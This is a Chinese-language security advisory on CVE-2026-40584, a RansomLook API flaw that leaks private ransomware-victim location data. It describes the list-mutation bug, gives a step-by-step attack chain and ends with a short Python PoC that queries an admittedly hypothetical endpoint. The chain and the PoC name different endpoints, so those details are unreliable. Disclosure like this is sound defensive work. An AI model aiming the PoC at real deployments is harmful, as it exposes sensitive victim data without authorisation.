IPBUF安全漏洞报告
English
CVE-2026-40584 CVSS 7.5 高危

CVE-2026-40584 RansomLook信息泄露漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40584
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
RansomLook

相关标签

信息泄露RansomLook逻辑错误API安全

漏洞概述

RansomLook 是一款用于监控勒索软件组织的工具。在 1.9.0 版本之前,其 API 接口在处理数据时存在严重的安全缺陷。由于代码在遍历列表时错误地执行了删除操作,导致部分标记为“私有”的位置信息未能被有效过滤。攻击者无需经过身份认证,即可通过发送特定请求获取本应受到保护的敏感位置数据,造成信息泄露。

技术细节

该漏洞源于 Python 编程中常见的“在迭代中修改列表”的逻辑错误。在 `website/web/api/genericapi.py` 中,开发者试图通过遍历列表来删除标记为私有的条目。然而,当元素被移除时,列表长度发生变化,迭代器索引发生偏移,导致后续元素被跳过检查。结果就是,本应被过滤的敏感数据残留在了返回给客户端的 JSON 响应中。由于该接口无需认证(PR:N),任何能够访问 API 端点的攻击者均可利用此缺陷直接下载非公开的受害者和市场位置信息。

攻击链分析

STEP 1
1. 信息收集
攻击者发现目标运行了 RansomLook 应用程序,并确定了 API 接口的访问路径。
STEP 2
2. 发起攻击
攻击者向存在漏洞的 API 端点(如 /api/genericapi.py)发送 HTTP GET 请求。
STEP 3
3. 数据泄露
由于后端代码逻辑缺陷,服务器在处理请求时未能正确过滤私有条目,直接返回了包含敏感位置信息的 JSON 数据。
STEP 4
4. 数据利用
攻击者解析返回的数据,获取未公开的勒索软件受害者或市场位置信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit PoC for CVE-2026-40584 # Target: RansomLook < 1.9.0 # Description: Fetch API response to verify if private location entries are leaked. def check_leak(target_url): # The vulnerable endpoint is often the generic API or location endpoint # Based on the description, we target the generic API path endpoint = f"{target_url}/api/locations" # Hypothetical endpoint try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: data = response.json() print("[+] Data received. Inspecting content for private entries...") # Logic to analyze if private fields exist would go here print(data) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target check_leak("http://localhost:8000")

影响范围

RansomLook < 1.9.0

防御指南

临时缓解措施
在升级之前,建议通过网络访问控制列表(ACL)限制对 RansomLook API 端口的外部访问,仅允许受信任的 IP 地址连接,以防止未授权的数据抓取。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表